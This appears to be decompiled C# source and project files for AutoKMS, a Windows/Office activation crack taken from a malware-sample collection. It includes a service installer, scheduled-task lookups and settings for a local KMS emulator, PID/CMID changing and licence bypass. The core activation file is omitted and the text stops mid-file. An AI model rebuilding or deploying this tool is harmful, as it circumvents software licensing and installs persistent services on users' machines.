[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Settings : ApplicationSettingsBase
|
||||
{
|
||||
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
|
||||
|
||||
public static Settings Default => Settings.defaultInstance;
|
||||
}
|
||||
}
|
||||
+106
@@ -0,0 +1,106 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>AutoKMS</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="TaskSchedulerInterop\HResult.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TaskTriggerType.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\Daily.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\Weekly.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\MonthlyDate.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\MonthlyDOW.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TriggerTypeData.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TaskTrigger.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\SystemTime.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropSheetHeader.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropSheetFlags.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropertySheetDisplay.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITaskScheduler.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\IEnumWorkItems.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITask.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITaskTrigger.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\IProvideTaskPage.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CTaskScheduler.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CTask.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CoTaskMem.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Result.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Common.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\SettingsIDObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\GlobalSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\AutoKMSSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\AutoRearmSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\EZActivatorSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\PathsSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\Settings.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\IniFile.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Logic\KMSEditor.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Logic\Activation.cs" />
|
||||
<Compile Include="TaskScheduler\TriggerList.cs" />
|
||||
<Compile Include="TaskScheduler\TriggerType.cs" />
|
||||
<Compile Include="TaskScheduler\DaysOfTheWeek.cs" />
|
||||
<Compile Include="TaskScheduler\WhichWeek.cs" />
|
||||
<Compile Include="TaskScheduler\MonthsOfTheYear.cs" />
|
||||
<Compile Include="TaskScheduler\Trigger.cs" />
|
||||
<Compile Include="TaskScheduler\StartableTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\RunOnceTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\DailyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\WeeklyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\MonthlyDOWTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\MonthlyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnIdleTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnSystemStartTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnLogonTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\TaskFlags.cs" />
|
||||
<Compile Include="TaskScheduler\TaskStatus.cs" />
|
||||
<Compile Include="TaskScheduler\Task.cs" />
|
||||
<Compile Include="TaskScheduler\Scheduler.cs" />
|
||||
<Compile Include="TaskScheduler\TaskList.cs" />
|
||||
<Compile Include="TaskScheduler\ScheduledTasks.cs" />
|
||||
<Compile Include="AutoKMS\AutoKMSService.cs" />
|
||||
<Compile Include="AutoKMS\AutoKMS.cs" />
|
||||
<Compile Include="AutoKMS\Program.cs" />
|
||||
<Compile Include="AutoKMS\Properties\Settings.cs" />
|
||||
<Compile Include="AutoKMS\Properties\Resources.cs" />
|
||||
<Compile Include="HybridService\ServiceInstaller.cs" />
|
||||
<Compile Include="ProcessMemoryReaderLib\ProcessMemoryReaderApi.cs" />
|
||||
<Compile Include="ProcessMemoryReaderLib\ProcessMemoryReader.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="AutoKMS\AutoKMSService.resx" />
|
||||
<EmbeddedResource Include="AutoKMS\Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutoKMS", "HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.csproj", "{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HybridService.ServiceInstaller
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace HybridService
|
||||
{
|
||||
public class ServiceInstaller
|
||||
{
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern IntPtr OpenSCManager(
|
||||
string lpMachineName,
|
||||
string lpSCDB,
|
||||
int scParameter);
|
||||
|
||||
[DllImport("Advapi32.dll")]
|
||||
private static extern IntPtr CreateService(
|
||||
IntPtr SC_HANDLE,
|
||||
string lpSvcName,
|
||||
string lpDisplayName,
|
||||
int dwDesiredAccess,
|
||||
int dwServiceType,
|
||||
int dwStartType,
|
||||
int dwErrorControl,
|
||||
string lpPathName,
|
||||
string lpLoadOrderGroup,
|
||||
int lpdwTagId,
|
||||
string lpDependencies,
|
||||
string lpServiceStartName,
|
||||
string lpPassword);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern void CloseServiceHandle(IntPtr SCHANDLE);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern int StartService(
|
||||
IntPtr SVHANDLE,
|
||||
int dwNumServiceArgs,
|
||||
string lpServiceArgVectors);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenService(
|
||||
IntPtr SCHANDLE,
|
||||
string lpSvcName,
|
||||
int dwNumServiceArgs);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern int DeleteService(IntPtr SVHANDLE);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern int GetLastError();
|
||||
|
||||
[DllImport("Kernel32")]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
public static bool InstallService(
|
||||
string svcPath,
|
||||
string svcName,
|
||||
string svcDispName,
|
||||
bool autoStart,
|
||||
bool startNow)
|
||||
{
|
||||
int scParameter = 2;
|
||||
int dwServiceType = 16;
|
||||
int num1 = 3;
|
||||
int dwErrorControl = 1;
|
||||
int dwDesiredAccess = 983040 | 1 | 2 | 4 | 8 | 16 | 32 | 64 | 128 | 256;
|
||||
int num2 = 2;
|
||||
try
|
||||
{
|
||||
int dwStartType = num2;
|
||||
if (!autoStart)
|
||||
dwStartType = num1;
|
||||
IntPtr num3 = ServiceInstaller.OpenSCManager((string) null, (string) null, scParameter);
|
||||
if (num3.ToInt32() == 0)
|
||||
return false;
|
||||
IntPtr service = ServiceInstaller.CreateService(num3, svcName, svcDispName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, svcPath, (string) null, 0, (string) null, (string) null, (string) null);
|
||||
if (service.ToInt32() == 0)
|
||||
{
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
return false;
|
||||
}
|
||||
if (startNow)
|
||||
{
|
||||
if (ServiceInstaller.StartService(service, 0, (string) null) == 0)
|
||||
return false;
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
ServiceInstaller.CloseServiceHandle(service);
|
||||
return true;
|
||||
}
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
ServiceInstaller.CloseServiceHandle(service);
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool UnInstallService(string svcName)
|
||||
{
|
||||
IntPtr SCHANDLE = ServiceInstaller.OpenSCManager((string) null, (string) null, 1073741824);
|
||||
if (SCHANDLE.ToInt32() == 0)
|
||||
return false;
|
||||
int dwNumServiceArgs = 65536;
|
||||
IntPtr num = ServiceInstaller.OpenService(SCHANDLE, svcName, dwNumServiceArgs);
|
||||
if (num.ToInt32() == 0)
|
||||
return false;
|
||||
if (ServiceInstaller.DeleteService(num) != 0)
|
||||
{
|
||||
ServiceInstaller.CloseServiceHandle(SCHANDLE);
|
||||
ServiceInstaller.CloseServiceHandle(num);
|
||||
return true;
|
||||
}
|
||||
ServiceInstaller.CloseServiceHandle(SCHANDLE);
|
||||
ServiceInstaller.CloseServiceHandle(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
+3335
File diff suppressed because it is too large
Load Diff
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.AutoKMSSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class AutoKMSSettingsObject
|
||||
{
|
||||
public int ActAttempts;
|
||||
public bool ActivateWindows;
|
||||
public bool AutoRemoveKMSEmulator;
|
||||
public bool AutoRemoveKMSHost;
|
||||
public string KMSServer;
|
||||
public bool Logging;
|
||||
public bool UseKMSEmulator;
|
||||
public string KMSPID;
|
||||
|
||||
public AutoKMSSettingsObject()
|
||||
{
|
||||
this.ActAttempts = 10;
|
||||
this.ActivateWindows = false;
|
||||
this.AutoRemoveKMSEmulator = false;
|
||||
this.AutoRemoveKMSHost = false;
|
||||
this.KMSServer = "127.0.0.1";
|
||||
this.Logging = true;
|
||||
this.UseKMSEmulator = true;
|
||||
this.KMSPID = string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.AutoRearmSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class AutoRearmSettingsObject
|
||||
{
|
||||
public bool Retail2VL;
|
||||
public bool Logging;
|
||||
|
||||
public AutoRearmSettingsObject()
|
||||
{
|
||||
this.Retail2VL = true;
|
||||
this.Logging = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.EZActivatorSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class EZActivatorSettingsObject
|
||||
{
|
||||
public int ActAttempts;
|
||||
public int PIDAttempts;
|
||||
public int CMIDAttempts;
|
||||
public bool AutoLicRepairAll;
|
||||
public bool AutoMakeRestoreBackup;
|
||||
public bool ChangePID;
|
||||
public bool ChangeCMID;
|
||||
public bool InstallAutoKMS;
|
||||
public bool MAK2KMS;
|
||||
public bool RemoveRetailKeys;
|
||||
public bool Retail2VL;
|
||||
public bool StarterSub2Bypass;
|
||||
|
||||
public EZActivatorSettingsObject()
|
||||
{
|
||||
this.ActAttempts = 10;
|
||||
this.PIDAttempts = 10;
|
||||
this.CMIDAttempts = 10;
|
||||
this.ChangePID = true;
|
||||
this.ChangeCMID = true;
|
||||
this.AutoLicRepairAll = true;
|
||||
this.AutoMakeRestoreBackup = true;
|
||||
this.InstallAutoKMS = true;
|
||||
this.MAK2KMS = true;
|
||||
this.RemoveRetailKeys = true;
|
||||
this.Retail2VL = true;
|
||||
this.StarterSub2Bypass = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.GlobalSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class GlobalSettingsObject
|
||||
{
|
||||
public bool AutoRemoveKMSEmulator;
|
||||
public bool AutoRemoveKMSHost;
|
||||
public string KMSServer;
|
||||
public bool UseKMSEmulator;
|
||||
public bool VerboseCheckActivation;
|
||||
public bool ShowCMID;
|
||||
public string KMSPID;
|
||||
|
||||
public GlobalSettingsObject()
|
||||
{
|
||||
this.AutoRemoveKMSEmulator = false;
|
||||
this.AutoRemoveKMSHost = false;
|
||||
this.KMSServer = "127.0.0.1";
|
||||
this.UseKMSEmulator = true;
|
||||
this.VerboseCheckActivation = false;
|
||||
this.ShowCMID = false;
|
||||
this.KMSPID = string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.IniFile
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class IniFile
|
||||
{
|
||||
public string path;
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern long WritePrivateProfileString(
|
||||
string section,
|
||||
string key,
|
||||
string val,
|
||||
string filePath);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern int GetPrivateProfileString(
|
||||
string section,
|
||||
string key,
|
||||
string def,
|
||||
StringBuilder retVal,
|
||||
int size,
|
||||
string filePath);
|
||||
|
||||
public IniFile(string INIPath) => this.path = INIPath;
|
||||
|
||||
public void IniWriteValue(string Section, string Key, string Value) => IniFile.WritePrivateProfileString(Section, Key, Value, this.path);
|
||||
|
||||
public string IniReadValue(string Section, string Key)
|
||||
{
|
||||
StringBuilder retVal = new StringBuilder((int) byte.MaxValue);
|
||||
IniFile.GetPrivateProfileString(Section, Key, "", retVal, (int) byte.MaxValue, this.path);
|
||||
return retVal.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.PathsSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class PathsSettingsObject
|
||||
{
|
||||
public string AutoKMS;
|
||||
public string AutoRearm;
|
||||
public string KMSEmulator;
|
||||
|
||||
public PathsSettingsObject()
|
||||
{
|
||||
this.AutoKMS = Common.WINDIR + "\\AutoKMS";
|
||||
this.AutoRearm = Common.WINDIR + "\\AutoRearm";
|
||||
this.KMSEmulator = Common.WINDIR;
|
||||
}
|
||||
}
|
||||
}
|
||||
+413
@@ -0,0 +1,413 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.Settings
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using TaskScheduler;
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public static class Settings
|
||||
{
|
||||
public static bool ReadOnlyFolder;
|
||||
public static bool ReadOnlyFile;
|
||||
public static bool INIExists;
|
||||
public static SettingsIDObject SettingsID = new SettingsIDObject();
|
||||
public static GlobalSettingsObject GlobalSettings = new GlobalSettingsObject();
|
||||
public static AutoKMSSettingsObject AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
public static AutoRearmSettingsObject AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
public static EZActivatorSettingsObject EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
public static PathsSettingsObject PathsSettings = new PathsSettingsObject();
|
||||
|
||||
public static string GetAutoKMSPath()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
string autoKmsPath;
|
||||
if (Common.IsAutoKMSInstalled())
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoKMS");
|
||||
autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoKMSCustom");
|
||||
autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
autoKmsPath = Settings.PathsSettings.AutoKMS;
|
||||
return autoKmsPath;
|
||||
}
|
||||
|
||||
public static string GetAutoRearmPath()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
string autoRearmPath;
|
||||
if (Common.IsAutoRearmInstalled())
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoRearm");
|
||||
autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoRearmCustom");
|
||||
autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
autoRearmPath = Settings.PathsSettings.AutoRearm;
|
||||
return autoRearmPath;
|
||||
}
|
||||
|
||||
public static void GetSettings()
|
||||
{
|
||||
Settings.HandleReadOnly();
|
||||
if (Settings.ReadOnlyFolder)
|
||||
{
|
||||
if (Settings.INIExists)
|
||||
{
|
||||
Settings.LoadINISettings();
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.GlobalSettings = new GlobalSettingsObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
}
|
||||
}
|
||||
else if (Settings.INIExists)
|
||||
Settings.LoadINISettings();
|
||||
else
|
||||
Settings.MakeDefaultToolkitINIFile();
|
||||
}
|
||||
|
||||
public static void GetSettingsAutoKMS()
|
||||
{
|
||||
if (!new FileInfo(Settings.GetAutoKMSPath() + "\\AutoKMS.ini").Exists)
|
||||
Settings.MakeDefaultAutoKMSINIFile();
|
||||
Settings.LoadINISettingsAutoKMS();
|
||||
}
|
||||
|
||||
public static void GetSettingsAutoRearm()
|
||||
{
|
||||
if (!new FileInfo(Settings.GetAutoRearmPath() + "\\AutoRearm.ini").Exists)
|
||||
Settings.MakeDefaultAutoRearmINIFile();
|
||||
Settings.LoadINISettingsAutoRearm();
|
||||
}
|
||||
|
||||
public static void MakeDefaultToolkitINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.GlobalSettings = new GlobalSettingsObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
|
||||
iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
|
||||
